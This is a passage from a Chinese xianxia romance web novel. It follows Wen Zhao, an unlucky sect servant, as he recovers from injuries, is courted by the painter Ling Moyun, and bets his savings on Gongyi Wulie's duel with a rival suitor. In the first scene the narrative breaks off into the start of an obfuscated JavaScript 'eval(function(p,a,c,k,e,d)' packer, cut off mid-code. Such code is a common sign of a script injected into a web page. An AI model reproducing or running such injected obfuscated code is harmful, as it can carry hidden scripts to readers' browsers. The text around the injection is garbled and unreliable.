温昭盯着他的眼睛,道:“你根本不想杀他。想杀一个人,不是你这样的。他疯了,脑子不正常,如果你先用药困住他,未必杀不了他。” 沈回溪闻言,收回目光,看向温昭,咳了咳,嘴角溢出殷红的鲜血,似乎想笑,却始终做不出笑的模样,半晌,声音才冷冷地响起:“我会杀了他。” 温昭叹息,若是他的刀他的剑,有他的嘴硬就好了。 温昭给沈回溪喂了几颗丹药,他没有用凌陌云的药,他们毕竟才初次见面,他还不能盲目地信任对方。 好在上次沈回溪给他开的丹药,还剩了一点。不过这些丹药也不是高阶丹药,只能让沈回溪好受一点罢了。 温昭给自己和榆笙也吃了几颗,身上的疼痛有所缓解。 凌陌云和白慕绥对战闹得动静很是大,以至于惊动了天泽宗来人。 这不意外,这处地方本就是天泽宗附近,属于天泽宗的管辖范围内,若是宗门有大事发生,启动护山大阵时,从天泽山向外几千里,都会囊括在天泽宗的阵法内,外人禁行,不得踏入一步。 如今宗门无事,没有启动护山大阵,这才让凌陌云和白慕绥也能在天泽山附近晃悠。 温昭抬着眼,远远看见,天边之处,云层之中,有光泽闪烁,有人来了。 然而就在这时,在白慕绥和凌陌云的剑气下,几棵堪称遮云蔽日的古树被拦腰斩断。 那参天的古树顿时朝着温昭他们所在的方向倾倒而来。 温昭一惊,对着榆笙连忙道:“快躲开!” 沈回溪伤得比他们都重,根本躲闪不开,温昭和榆笙只得慌忙之中带着他,施展他们那三脚猫修为朝着空旷的空地逃去。 然而温昭飞上半空时,忽然胸口却有一阵剧烈疼痛,从空中坠落下去。 在他的身后就是轰然快要倒下来的巨树。 榆笙抱着沈回溪,看着这一幕,顿时大惊失色:“昭昭!” 榆笙立刻就想要冲过来。 温昭当即阻止道:“别过来!” 榆笙咬牙,连忙带着沈回溪冲向附近最空的空地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温昭额头全是冷汗,他也不知道今天是怎么回事,按理来说不该如此,毕竟他这么多年来,也遇到过不少事,但他真的受重伤并不多。 其实这一点也很是奇怪,明明温昭修为也不高,后来李管事想了想,认为这个可能是他的体质特殊。 修真界确实有很多先天的道体,各种各样奇怪的道体,能让灵兽亲近的,可以修行一日千里的,还有炉鼎体质之类,可能温昭就有什么不知道的道体。 凌陌云换为一只手搂着温昭,另一只手从储物戒中取出一个玉瓶,单手拨开瓶塞,从里面取出一颗丹药,喂进温昭口中。 丹药入口即化,温昭吃了药,只觉得有一股暖流流过全身,胸口瞬间没那么痛了,他的脸色也不再那么惨白。 如此见效快的丹药,应该是高级疗伤丹药,和他寻常吃的普通丹药一对比,果然效果天上地下。 温昭靠着凌陌云缓了缓气息,他觉得自己好多了,正要开口说话,让他可以放开他了。 就在这时,天泽宗的来人到了。 几道身影倏然出现在二人眼前。 温昭一顿,从凌陌云胸口一抬头,就看到了面前为首的人,正是公仪无冽。 温昭面色有点怔愣。 怎么又见到他了,以前六十八年他都见不到一面,这段日子似乎却总是见到。 老天这什么意思,非得要给他找罪受吗? 在这个公仪无冽将要和别人结为道侣的时刻,反而让公仪无冽不停在他面前晃悠? 温昭真是觉得莫可奈何。 想来是有人胆敢在天泽宗附近放肆,公仪无冽这会的面色一片凛冽的寒霜,看了就让人胆战。 温昭看了一眼,心里有点慌,忍不住低下了头。 一时之间他也忘了让凌陌云放开他这事。 公仪无冽眸中漆黑,面无表情看着靠在凌陌云怀中的温昭。 17. 战书 “公仪师兄的道侣那不就是林悠师兄吗?谁会舍得对林悠师兄下手?” “怕不是会被打死。不是被公仪师兄打死,就是被其他人打死,林悠师兄的爱慕者那么多,我看有谁不想活了。” “公仪师兄真是我辈楷模啊,天资出众,还有林悠师兄这么一个大美人做道侣。有的时候想想公仪师兄,都会觉得我活着是来干什么的。” “我倒是理解公仪师兄的剑为什么越来越快,越来越强,越来越丧心病狂。若是我能有林悠师兄这么一个大美人做道侣,我的剑也一定会越来越快,越来越强的。不快不行,落后一步,不是被情敌打死,就是被情敌羞辱死,危机感太强了。” “哎,谁说不是呢,自古美人都是强者才配拥有的。” “话说,是不是又快到了七大洲选出第一美人了,不知道今年会不会有变数。我听说合欢宗放话了,今年他们门下的弟子一定会夺了林悠师兄的魁首。好像是有一个新入门的弟子长了一张难寻的美人脸,才叫他们有了信心。” “合欢宗?合欢宗不是年年都说要把林悠师兄拉下魁首吗?结果呢,林悠师兄已经稳坐魁首这么多年了,今年必定又是他。” “我也觉得是林悠师兄。上次我在秘境有幸和林悠师兄同路一程,整个人都晕晕乎乎的。公仪师兄竟然这么多年才和林悠师兄结为道侣,也太能忍了,反正换了我,我是忍不住的。” 天泽宗弟子七嘴八舌说着八卦,说着说着,脸上不禁露出神往且羞涩的神情。 可见有位弟子的话,美人都是强者拥有的,也并非无的放矢。倘若公仪无冽不够强大,他的剑不够快,他的剑不够狠,真是难以想象他将要面临多少情敌,毕竟就连他的师弟都想撬他墙角。 在一群弟子春心萌动时,孟十柳终于从公仪无冽带给他的冲击中回转神来,入眼便是一群师弟惦记师兄道侣一脸娇羞的模样。 孟十柳:“……” 孟十柳当即大怒。 其实也不怪孟十柳大怒,孟十柳作为从杂役出身一路走到长老亲传弟子的寒门天才,可是吃了不少苦头,一向都把修行作为活着的首要大事,他对自己严苛,对宗门不成器的师兄弟严苛,对影响自己出剑速度的人那就更加严苛。 相传合欢宗曾经列了个名目,把修真界所有青年才俊都整合到了一张名单上,他们的宗旨就是要将这群天才一网打尽,睡了又睡。 孟十柳在天泽宗异军突起后,自然也出现在了这个名单上,于是合欢宗不少弟子争相要来把他睡上一睡,然而结果都很惨烈。 孟十柳一旦抓到一个合欢宗弟子在身边出没,就会抓出一根藤上的几个合欢宗弟子把他们关在一起,给他们创造条件,让他们内部互相睡了又睡,靠着内部消化就能提升修为。然而合欢宗弟子们在互相睡时,修为你夺过来,我夺过去,夺到最后,纷纷夺得很是疲惫,且在一番夺来夺去后,哪怕赢了修为,也要修养上几年的身体才能重出江湖,付出的代价着实不小。 因此孟十柳凭着狼藉的名声,在合欢宗最难睡的名单上位列第二,至于魁首,则是公仪无冽。 据说公仪无冽倒是不会让他们内部睡来睡去,他只会让他们内部打来打去。打到最后,通常只有一个人能活下来。而活下来的人也会因为亲手打死同门留下巨大的心理阴影,自此金盘洗手,退出合欢宗。以至于合欢宗在办了多次丧事后,弟子们终于暂时放弃将公仪无冽睡了又睡的修行计划,将他封为难睡名单第一人。 此时,孟十柳看了这些师弟怀春的模样,当场呵斥道:“就你们这点修为,只配被合欢宗的弟子当作一次性丹药,用过就杀。哪家美人瞎了眼,能看上你们这些不上进的蠢货。” 所有人:“……” 呵斥了一番同门师弟后,孟十柳这才看向在场其他人,一眼就看到了温昭,真是难以忽视的扎眼。 凌陌云本也是一等一的美男子了,但温昭站在他身边,硬生生不落下风,甚至还抢去了他的风头,丑得鸡立鹤群。 饶是孟十柳这种一心向道,一意追求强大的修行者,竟是也觉得这个丑杂役有点可怜了。 上次在镇上就遭了白慕绥那个癫子的打,这才几天,又被白慕绥这个癫子打上了。 这个丑杂役才练气初期的修为却至今没被打死,也不知道是幸还是不幸。 孟十柳是真的心生同情了,于是当场掏了几道自己做的护身符要送给温昭,看得身后一群弟子们十分眼红。 面对来自天泽宗全杂役楷模的贵重礼物,温昭非常受宠若惊。 眼见温昭推辞,孟十柳朗笑一声道:“拿着吧,上次不是听你说八十七岁了,想活个九十岁?凡人九十岁就是大寿了,我和你也算同门一场,就当师兄提前送给你的寿辰贺礼了。” 温昭:“……” 这真是一个性格耿直并且古道热肠的师兄。 温昭收下了符纸。 一旁凌陌云看着温昭收下东西,在一旁摇着扇子,笑道:“柳兄这份贺礼送得倒是贴心,不过我们昭昭可不止要活九十岁,以后九百大岁柳兄可也要记得捧场。” 温昭:“……” 孟十柳:“……” 所有人:“……” 昭昭? 敢不敢再喊得肉麻点? 孟十柳嘴角抽搐,他当然没错过凌陌云把温昭抱在怀里的一幕,也不知道这人在发什么疯。 据他所知凌陌云这个人看着如沐春风脾性温和,实际一向心高气傲,眼高于顶。听说禅宗有一个弟子,长相是能和林悠一较高低的好看,为了凌陌云甘愿破戒,最后也只落得个黯然神伤的下场。 如今这凌陌云看来其实是癖好独特? 孟十柳抽着嘴角,勉强寒暄一句:“凌兄这么早就来天泽宗了?” 凌陌云摇着扇子:“总得给公仪兄面子,听说他要娶道侣,要和道侣求一个白首不分离,我再忙也是应当赶过来的。” 凌陌云忽而又笑道:“没想到一晃多年过去,如今竟是连公仪兄也要娶道侣了,我从前虽是给不少人作了画,但对成婚一事没什么想法,今日却有了不同的感受。” 凌陌云五官生得风流俊逸,一双桃花眼睫毛长密,此刻这双温柔多情的双眼垂垂将温昭看在眼里,攒出柔软的笑意:“托了公仪兄的福,这一趟让我得以遇见昭昭。” 温昭:“……” 孟十柳:“……” 榆笙:“……” 所有弟子:“……” 在场所有人无不嘴角疯狂抽搐。 天泽宗弟子更是一个个忍不住颤抖,仿佛看见了下一个白慕绥。 要知道白慕绥作为一介强者发癫后,可把他们这些弟子心疼坏了,那么好的灵根,那么好的天资,怎么就疯了。 天泽宗弟子心痛不已,为什么这么好的灵根偏偏不长在他们这些正常人身上,简直是抱憾天物。 如今这凌陌云看模样还要步白慕绥后尘? 天泽宗弟子们纷纷觉得痛苦异常,他们要是强者,肯定会娶林悠师兄那样的美人,这白慕绥和凌陌云真是脑子有问题,气死他们了。 想来,如今要阻止凌陌云成为第二个白慕绥,那就是趁着凌陌云还未情根深种,早点把这个丑杂役嫁了出去。 众弟子忍着被丑得心颤,坚强地打量着温昭,是越看越心凉。 草,哪个狠人会娶这个丑杂役? 除了李铁匠根本找不到第二个人。 天泽宗弟子绝望了。 温昭被这些弟子奇怪的眼神看得一头雾水,他饶是想破头也不会知道这群天泽宗弟子是在盘算着如何拯救一代天才不要堕落,要把他嫁出去。 相较于各位师弟的乐于助人,意图拯救要堕落的天才,一心问道的孟十柳就冷酷多了,懒得去管凌陌云发什么疯,打了招呼后,径直去处理白慕绥的事。 温昭和榆笙见了,也赶紧跟上。 方才温昭还以为公仪无冽那一剑将白慕绥打死了,后来听了公仪无冽的话,想来白慕绥应该性命无忧。但命保住了,其他的就不得而知了,比如说白慕绥会不会变得更疯了,下一次遇见丑人不打了,改成直接拿刀砍。 这着实不算温昭杞人忧天,毕竟白慕绥从半空中摔下来,摔到脑子的概率极大。 一群人来到白慕绥身前,自然也就看见了他身边的沈回溪,白得如水洗的一张脸,但还算平静,又摆出了要白慕绥死的冷淡模样,没有方才的慌乱。 温昭看了看躺在地上的白慕绥,人还没死,但看起来受伤颇重。 天泽宗弟子的反应则是大多了,毕竟他们可是亲眼见到白慕绥那强大一剑的人,他们同位修行者自然知道这一剑里蕴含的力量多么恐怖,而这样强的白慕绥,还是被公仪无冽一剑削得躺在地上了。 有弟子又忍不住念叨了:“公仪师兄到底强到了什么模样?” 公仪无冽一剑便将一个天才高手斩落,打成重伤,把天泽宗这群崇尚强大的弟子折服得一塌糊涂。 孟十柳同样感叹着,并感叹着拿出了法器缚魂链。 虽说白慕绥伤成了一动不动的模样,但也不能完全叫人放心,为了预防诈尸,孟十柳将白慕绥捆成了个大粽子,接着从储物戒里取出一个灵舟,让人把他抬上了灵舟。 沈回溪淡淡看着白慕绥被人五花大绑带走,并没有其他动作,这叫温昭不由得心下安定一点,他还真怕沈回溪会去抢人再被人打死。 也不知道白慕绥被带回天泽宗后会遭遇什么,温昭想,既然没有被当场打死,那就说明留着他还有用。至于用途是什么,温昭只能想到纯洁尊者了,可能会让纯洁尊者交钱赎人吧。 这种事对纯洁尊者来说实在不算有难度,因为他这一生不是在认孩子就是在生孩子,或者孩子闯了祸被人找上门的路上,经验实属丰富。 温昭没想到孟十柳在捆了白慕绥后,竟然还会提出要顺路带他和榆笙回天泽宗。 温昭和榆笙都颇为心动,毕竟回天泽宗还有一段路程,依照他们目前的伤势,怕是又得走上个一两日的脚程。 奈何他们却不太能就这么一走了之,沈回溪伤重,看模样是没人管的。 温昭刚这么想着,沈回溪就因为伤重晕了过去。 温昭:“……” 温昭只好谢绝了孟十柳的好意,表示他们要去镇上买点丹药,顺便把这位医师送去镇上。 孟十柳于是也不多说,直接带走了白慕绥。 灵舟升上天空,化作流光,很快便消失在了天边。 等孟十柳一行人走了后,温昭和榆笙看着昏迷不醒的沈回溪,不由得开始为难要如何把沈回溪弄下山这件事。 他和榆笙此次又是双双受伤,若是二人背着沈回溪下山,怕是会重蹈上次送挑山夫下山时的错误,使得他们伤情再次加重。 于是榆笙提议找找附近有没有牧牛的牧童,他们可以用牛把沈回溪托着下山。 但温昭听说最近镇上的牛不知为何发起了疯牛病,他们也无法判断牧童的牛会不会突然发病把沈回溪摔死,于是这个办法被迫放弃。 温昭提议,他们可以做一个木排,把沈回溪绑在木排上拖着下山,因为走的是下山路,这样也不会太费力气。 榆笙赞同了温昭的提议,在二人准备去捡树棍做木排时,终于和默默听着他们分析的凌陌云对上视线。 温昭:“……” 榆笙:“……” 他们这才发现竟然把凌陌云给忘了。 凌陌云嘴角含笑:“不必如此麻烦。” 凌陌云折扇一摇,地上便出现了一个十分精美豪华的灵舟,看起来比孟十柳那个灵舟高档了不知道多少个层次。 山风微拂,带得凌陌云身后大片扶霄花摇晃,他就站在这山峦花开的时节,柔柔笑意望着温昭道:“昭昭上来吧,我这个灵舟还从未载过人,你是第一人。” 温昭:“……” 榆笙:“……” 凭良心说,这着实是一副美人美景,不愧是当世第一画修,人风雅,品味也风雅。 而榆笙看了看大献殷勤的凌陌云, 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那时候的温昭以为,他会和公仪无冽一直在一起,纵使修真界危机四伏,他们明天可能就会死在哪个秘境中,但他们死也会在一起。 如今回想曾经,他还真是傻得可怜。 公仪无冽就算要死,也不会想要和他死在一起。 有了灵舟,几人很快便到了镇上。 因为此番沈回溪伤得太重,他们便没有考虑小巷子里那群无证行医的药修,而是直接去了医馆。 到了医馆后,温昭和榆笙却是愤怒了,因为医馆正在做促销活动,但规定四个伤患才享有优惠,而他们目前只有三个人受伤,医馆的大夫说什么都不肯给他们打折。 温昭和榆笙愤怒了,但也没办法,只好再去下一家医馆看看有没有打折。 正当二人要带着沈回溪走出医馆时,凌陌云却笑着叫住了他们。 温昭想,凌陌云已经救了他们,还出了灵舟,此番又陪他们来医馆看病,着实不好再让对方花钱。 温昭不由得拒绝道:“不用,不需要你出……” 谁知温昭话还没说完,凌陌云忽然一掌拍向他自己。 温昭:“……” 榆笙:“……” 医馆大夫:“……” 凌陌云掩着嘴角咳了咳,垂眼看向温昭,轻声笑道:“这下就有四个病人了。” 温昭:“……” 榆笙:“……” 医馆大夫:“……” 最终温昭他们如愿以偿拿到了医馆的打折优惠,本来可以节省不少钱,然而沈回溪病情比较严重,需要住在医馆治疗,入住费价格比较贵,如此一来,温昭从沈回溪手中赚的那一万两金铢还没在手里捂热乎又全花了出去。 回去的路上,榆笙很沉默。温昭知道他在沉默什么,他也很沉默。唯独不沉默的人正带着伤在灵舟上弹琴。 因为凌陌云说在高空弹琴时,风流过的速度不断变化,会让曲子更袅娜好听,他想弹一首好听的曲子给温昭听。 这个时候,温昭和榆笙已经得出了结论,凌陌云他其实不是眼睛不好,而是脑子不好。 这真是令人十分忧虑的一个消息,因为脑子的病比眼睛的病实属难治太多,不然白慕绥也不会疯了百年。 如今凌陌云已经进入了还没有娶上一个丑老婆,和老婆虐身虐心,他就已经脑子出了问题的现状,令他们着实为他忧虑。 而令温昭更忧虑的是,他发现因为此次受伤,他本就寥寥无几的存款再次减少,再这样下去,他可能就要连船票都买不起了。 温昭再次养伤,并对养伤非常不乐观。若是他无忧无虑这伤兴许养得快,但他捉襟见肘,养老钱迟迟还没有着落,这就令他十分伤神了。 在温昭忧愁哪里能天降一笔养老钱时,未曾想到很快便有了一个机会。 如今有两件事在天泽宗沸沸扬扬。 一个是公仪无冽一剑削了白慕绥一事。 关于公仪无冽到底有多强,众人议论纷纷。关于白慕绥到底会被如何处理,众人也议论纷纷。 大家普遍不知道公仪无冽到底有多强,但大家普遍认为白慕绥会被纯洁尊者拿钱赎回去。 然而目前难就难在纯洁尊者又在凡界某小国云游,正在给白慕绥制造更多的弟弟妹妹,一时顾不上他,所以天泽宗需要先倒贴钱给白慕绥治伤。 至于第二件闹得沸沸扬扬的事,则是在公仪无冽一剑削得白慕绥重伤,正在大家心中十分无敌的时候,有人来踢馆了,向公仪无冽下了战书。 下战书的人是林悠的一位追求者,听说来自北部的雪国,他要来打败公仪无冽,终结他的无敌。 大家知道这件事后,一致认为公仪无冽根本不会接受这种无聊的挑衅。 毕竟公仪无冽强不强,输赢与否,道侣都是他的,不可能因为一场比试,就把道侣让出去,这不是人所为。 所以这场比试根本没必要,没有意义。 然而,却很快传来消息,公仪无冽接下了这份战书,他接受了挑战。 显然大家觉得公仪无冽没必要做这种无聊的事,但公仪无冽却觉得有必要打败情敌宣示主权。既然公仪无冽觉得有必要,大家也开始觉得有必要,有必要设置一场赌局,挣一点外快。 在这场赌局中,大家普遍压了公仪无冽会赢。这不是盲目信任他,而是有事实依据,他自拜入天泽宗后,从无败绩,没输过。 同时有师兄分享内幕,这位来自雪国的挑战者,一生致力于娶第一美人为妻,谁是修真界第一美人,他就追求谁,他一路跟着美人排行榜追求过来,同时也跟着挑战了无数美人们的道侣,但至今未胜过一场,以至于如今还是单身,没娶到老婆。 于是温昭和榆笙一番讨论之后,榆笙拿了一笔钱压公仪无冽赢。温昭也拿出了他三分之二的存款,压公仪无冽赢。 温昭躺在床上养伤,一边养一边叹气,没钱果然令他的伤修养得毫无起色,竟是养来养去还越发恶化了,好在这一次,他的养老钱,总算是有着落了。 18. 公仪无冽和…… 公仪无冽即将和雪国来的强者切磋的消息,从天泽宗不胫而走。 此事传出去后,立刻引起了各方的关注,并引起了各方的讶然。 如同天泽宗的所有人都始料未及,各方人士也想象不到公仪无冽会接下这样一场挑战。 若是公仪无冽是为了修行和其他强者切磋,他们尚能理解。七大洲自古以来的风气崇武,大多数强者往往都是在和其他强者交战中不断征服强者,取代旧的强者,变成新的强者,然后宿命轮回,不断被挑战,要么被杀死,要么在杀来杀去中修行臻至圆满。 但公仪无冽和雪国强者的切磋却并非为了修行,而是为了一个美人。 一时之间,众人在吃惊过后,不禁有些难以接受。 这种难以接受,约莫还是公仪无冽留给大家的形象太断情绝心。他是天生的修行者,天赋惊人,从踏入天泽宗开始,便心外无物,潜心修行,在七大洲留下无数传说。如非必要,他鲜少出现在众人面前,就连七大洲的盛事上也见不到他的身影。 虽说大家都知道公仪无冽多年来一直有一个绯闻对象,但其实仔细算起来,绯闻得算是清汤寡水。尤其是纯洁尊者横空出世后,掀起了新的修行风气,不少人认为身边有几个红颜知己才更利于修行,甚至有人为了提升修为,立志将自己活成第二个纯洁尊者,从模仿吃穿住行,到说话骂街,就连纯洁尊者枕边人也不放过,尽量交往和他的枕边人长得雷同的红颜知己。 总之就是出于公仪无冽过往留给大家的印象,他要和人打架,打架的理由不是为了修行,而是为了风月之事,着实令大家普遍难以接受。 但大家考虑到如果表现得太反感,很容易被人误会是公仪无冽的极端追随者,更甚至于对公仪无冽有什么非分之想,为了不被误会,大家纷纷开始沉思,沉思之后,总算找出了一个不接受的理由,那就是第一美人可能还是不够美,至少美得程度不够大家一听说公仪无冽为了这个美人去和情敌打架,会觉得理所应当毫不意外。 然而,这个理由一出,立刻又引起了新的难以接受,主要是第一美人的追随者难以接受,毕竟否定第一美人的美,意味着在否定他们的审美。最终公仪无冽和雪国来的强者还未谋面,得知消息的众人却已经先打了起来。 在纷纷扰扰中,温昭却做了一场梦。 梦中那是六十八年前的大国无乡。 他们从大国的都城,一路出逃,已经逃了十日十夜,可是这场逃亡之途,却仿佛才刚刚拉开序幕。 天边残阳如血,古树,怪石,荒藤,如巨剑插入云霄的石崖,盘旋不去的无面鸟,一切景象都奏出一曲死亡的哀歌。 公仪无冽抱着他飘摇掠过茫茫怪石,极速变换的身影只来得及在空中留下一道道虚色影子。 他们的身影很快,可是身后轰天而来的剑意更快。 那是大国的隐士,传说当他们出剑时,没有人能走出他们的剑下,即使是何等惊世的强者,也将在他们的剑下湮灭。 罡风掀起他们的衣摆,在风中极尽缠绕,也将不尽的血腥味吹拂到温昭的眼前。 满目都是殷红的血,他和公仪无冽如被一场血雨浇透,可是这些血却没有一滴是属于他的,是公仪无冽的血。 温昭被他抱在怀中,他驭剑斩向来自身后无穷无尽的剑意,剑意在怪石中撞击长吟,似丧钟的嗡鸣,耀目光华和如血的残阳交织,在地上扯出长长的阴影,像一张巨大的鼓动的死亡之手。 来自大国隐士的剑意越来越盛,越来越快,温昭的眼前也映出越来越多刺眼的血色,可他还是没有受伤。 轰然剑意映亮了半边天空,残阳下的一切景物仿佛全都弥漫出无尽的血腥味。 温昭整个人都在他的怀中,雪白的脸颊贴在他的胸口。他张了张嘴,终于再次说出了多日前说过的话:“放下我吧。” 放下他,没了自己这个累赘,他应该可以逃出去。 没有人能走出大国隐士的剑下,可是温昭却觉得,如果有这么一个人,一定是这个抱着他的人。 斩天的一剑,散发着极其森寒的剑意,如血的残阳都被渡上了一层死亡的金华。他抱着他躲过这样恐怖的一剑,落地后,他的身影晃动了一下,可是他抱着他的手却依然很稳。 受了这样重的伤,当他的声音在头顶响起时,却还是听不出一点异常:“为何要放下?” 雪白的容颜,美得惊人的一张脸,却仿若有流不尽的眼泪。温昭的声音抖得不成样子:“他们是冲着我来的,放下我,你就可以活下去了。” 他却是挑了挑好看的眉,一剑斩向身后,而后抱着他嘴角微翘:“哦,是么,可是我偏不放。” 又是浩渺的一剑斩了过来,有温热殷红的血溅上温昭雪白的脸颊,他颤抖的手一点点放开他,咬紧了唇道:“我和你……我们不过是相识不久的陌生人。你把我放下我也不会怪你的。” 他却翩然一动,将他捞回怀中,更紧地抱紧了他,将满面泪水的他按在胸口,看着四周仿若来自神域的大国隐士,倏尔低声一笑道:“陌生人是么?可我也是第一次为了一个陌生人,将自己放在这样一个位置上。” 他翘着唇角:“若是叫那些人知道了,肯定没人相信。” 周遭森然剑意滔天,天地间却似乎都只剩下一种声音,这道声音一点一点撞进温昭的心中,他闭上眼,紧紧抱紧了对方。 后来当逃过那一场劫,温昭才知道为什么他总感觉那条路怎么也走不完,怎么也走不到尽头,怎么那样可怕地长。是因为从大国的国都到中洲的国境交界处,有十七万里。 从梦中醒来,温昭伸手捂住了眼睛。 他说他是第一次做这样的事。 可是如今这个第一次,终究也有了第二次。 温昭的伤情休养得并无起色。 榆笙他们实在想不明白为什么有人休养来休养去,再一次将自己休养得伤情加重。 最后大家讨论一番后,只能再次归结到温昭年事已高,除了这个原因实在找不到其他理由,如果一定要找一个其他理由,就只能归结于买来的打折药品便宜没好货。 但这个理由显然经不起推敲,因为吃的同样的药,榆笙和凌陌云已经满地活蹦乱跳了。 尤其是凌陌云在医馆给的自己那一掌打得不算轻,但在当天就伤情完全康复,身体大好。身体大好到甚至把温昭所住的小木屋后山山壁劈没了一半。凌陌云对此给出的理由是,凭借他多年作画经验,那处山壁地质结构有塌陷的风险且不美观,需要改造。 温昭:“……” 榆笙:“……” 后来在凌陌云这个当世第一画修的改造下,将一处平平无奇的山壁改造得清逸秀丽,如梦似幻,远远望去,似有一匹雪白的绸缎悬挂前川,大片大片杜草花开得灿烂,而后引得当天有数百只冁桐鸟接连撞向山壁,纷纷被撞成重伤,其中面部毁容的不在少数。 温昭:“……” 榆笙:“……” 原本这群冁桐鸟是天泽宗精心喂养的灵兽,用来在宗门盛事时点缀一下宗门门面的。当一个赛一个身姿曼妙婀娜,成千上百只冁桐鸟在天空中飞舞时,那样的盛景天上地下难寻。如今这群冁桐鸟却被凌陌云搞成了群鸟毁容,着实令人无奈。 当然这也从侧面看出凌陌云的画技之高,并不是徒有虚名。 在致使数百只冁桐鸟身受重伤后,凌陌云本该向天泽宗赔偿一大笔钱,但因着他是天泽宗请来为公仪无冽和林悠作画的吉祥物,碍于有求于人家,于是赔偿一事不了了之,只让人去将山壁上施个阵法,让那些灵兽再也看不见上面的画。 流云在天空上向地面投下几道虚白影子,院子里的几丛君子萝自花架上垂落,层层叠叠的花朵攀绕着花枝,随风飘摇,有不尽的悠意。 温昭坐在一张藤椅上,看着君子萝下红衣翩翩弹琴的凌陌云,身姿高大挺拔,低头拨着琴弦,弹出一首首天籁之音。 温昭不懂古琴,不懂技法,他只知道好听和不好听,而这样好听的琴音,他在另一个人身上也曾听过。 只是六十八年过去,那琴音除了好听,是何种模样的好听,他却是已经记不清了。 据凌陌云说,他的本意是来天泽宗后速战速决为公仪无冽和林悠作上一副画后,其后的日子便可在天泽宗内潇洒,但奈何他来的时间有点寸,正赶上了公仪无冽有一大堆繁杂的事要处理,以至于令他速战速决的计划破产,属实找不到机会把他和林悠凑在一起作上一幅画。 说来,凭借着凌陌云过目不忘的眼力和高超的画技,原本并不需要那两个人必须凑在一处,再一动不动让他作画。他完全可以去见了公仪无冽,再见了林悠后,凭着他的记忆作出一副两人缱绻相拥深情凝视的画,但凌陌云认为既然是为了恭祝一对道侣成婚作的画,这个二人同在的仪式感就必不能少。 必不能少的结果就是,温昭已经听了凌陌云弹了许多日的琴,也亏得他会的曲子不少,这才能不带重样的弹上许多日。 凌陌云说,这琴音具有清心平气镇痛的疗效,温昭也确实觉得自己的心情沉静了不少。 此时,微风轻拂,藤花飘飘,凌陌云弹完一曲,自一片蓝紫花浪中抬起头来望着温昭,嘴角噙着笑:“今日好些了吗?” 温昭看着这个如翩翩公子的人,点了点头。 他的身子确实好了很多,凌陌云给他送了不少疗伤的高级丹药。 温昭想,若是凌陌云出现的时间早一点,他可能会想和他成为朋友,因为那时的他,还对修行有所期待,对这个世界有所期待。 如今,他却只想回到凡人该呆的地方去,走完凡人的这一生。 近日来,天泽宗再有第三件事流传得沸沸扬扬,那就是画修凌陌云看上了天泽宗那个百年一遇的丑杂役。 这令天泽宗所有弟子都十分绝望,完全搞不明白为什么这些天才一个个都爱好特殊,放着好好的美人不喜欢,一个个都喜欢丑人。 在有了白慕绥失败的前车之鉴,凌陌云还一意孤行,不由得令人更加绝望。 不过因着有了凌陌云和白慕绥的反面例子做衬托,公仪无冽的形象在所有弟子心中本就高大的身影变得更加高大。 原本不能接受公仪无冽和雪国强者只是因为风月之事切磋的人,也终于在二人的衬托下渐渐接受,毕竟公仪无冽至少是为了林悠这个第一美人切磋,而不是为了某个丑人去切磋,让他们再也不好多说什么。 在温昭休养身体休养得总算有点起色后,十日时间已然一晃而过。 谁知十日过去了,那雪国的强者却还没有抵达天泽宗。 据说公仪无冽收到战书时,这位来自雪国的强者百里雪孤已经到了中洲的中部。天泽宗位于中洲的南部,从中洲的中部到南部对凡人来说路程着实不短,但对百里雪孤这种高手来说,不论是乘坐灵舟还是御剑飞行,十日的时间完全绰绰有余。 可是大家等来等去,等了十日却还没有等到百里雪孤,等得大家逐渐忧心。毕竟事关钱财,难免令大家辗转反侧,寝食 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在大家愤怒时,百里雪孤又又又来了传音。 百里雪孤在传音里说,他在不败城时,本该左转取道玉山城,不知道为何他的灵舟带着他右转取道了金石城,让大家再相信他一次,最多不超过二十日,他一定会来打败公仪无冽。 所有人:“……” 终于大家怒不可遏了,愤怒地去找宗主,让他派人去接百里雪孤。 在大家强烈要求后,当天从天泽宗便有一队人马出发,披星戴月赶去了百里雪孤目前所在的中洲北部,并赶在百里雪孤再次出发前,终于将人拦截住,而后一路接到了天泽宗。 百里雪孤到达天泽宗的这一日,所有人都松了一口气。 温昭也狠狠松了一口气,毕竟他为了这场决斗,已经投进去了三分之二的存款。 先前百里雪孤迟迟不到时,榆笙去找开设赌局的师兄打听过了,若是因为百里雪孤的缺席,致使这场决斗无法进行下去,大家下注的钱也不会退还到大家手里。因着这个原因,这才导致了大家十分忧虑且愤怒的心情,好在虽然有过波折,如今百里雪孤已经安稳抵达了天泽宗。 百里雪孤并不是空手而来,跟着他一起来的还有一只相当威猛孤傲的雪鹰。雪白的翎羽似雪国经年不化的积雪,当雪鹰盘旋在空中时,双翅如两朵被裁剪过的巨大又细长的白云,在空中划出道道袅娜白影。 据百里雪孤说,他带来的这只雪鹰是他准备送给林悠的见面礼,代表了他对他的坚贞热忱。 相传雪鹰是雪国的精神象征,雪国的修士都如雪国的雪鹰一般坚韧高远,凌然勇敢,且坚贞不渝,一生只会爱一人。 至于百里雪孤为何一生爱了许多人,雪国国宗对此的解释是,百里雪孤祖上是迁移到雪国的,因此他并不算土生土长的雪国人,他的行为代表不了雪国的修士,属于个人行为。且百里雪孤其实也想忠贞,但目前没人给他机会让他忠贞,他只能到处去创造机会让自己以后忠贞,这份坚韧不拔的品质其实也难能可贵。 虽说百里雪孤是公然来撬公仪无冽墙角的,但天泽宗一贯要脸,自然也拿出了一派大宗的风范,将人安排得无不周到,也一并将对方带来的雪鹰安排妥帖,并准备了灵兽们最喜欢吃的口粮。 然而天泽宗准备的口粮却完全无用武之地,因为这只雪鹰初来天泽宗还不到两日,就客死了异乡。 说是百里雪孤在天泽宗休整一夜后,第二日便去求见了林悠,要将他的雪鹰赠送给美人。 林悠没有对百里雪孤避而不见,在对百里雪孤送的雪鹰不置可否时,这只雪鹰却在林悠新宠灵兽的惊扰下,受了惊,忽然向林悠攻去。而后被一旁的公仪无冽一剑斩落,当场没了声息。 雪鹰横死的消息,立刻在天泽宗内流传开来。 大家普遍认为凭借林悠师兄的修为,那只雪鹰本该对他造不成什么伤害,如今雪鹰却横死当场,只因这是情敌带来的,公仪师兄容不下它。 真是没想到公仪师兄也有这种时刻,一时令许多人遗憾不能亲眼在现场目睹这一幕。 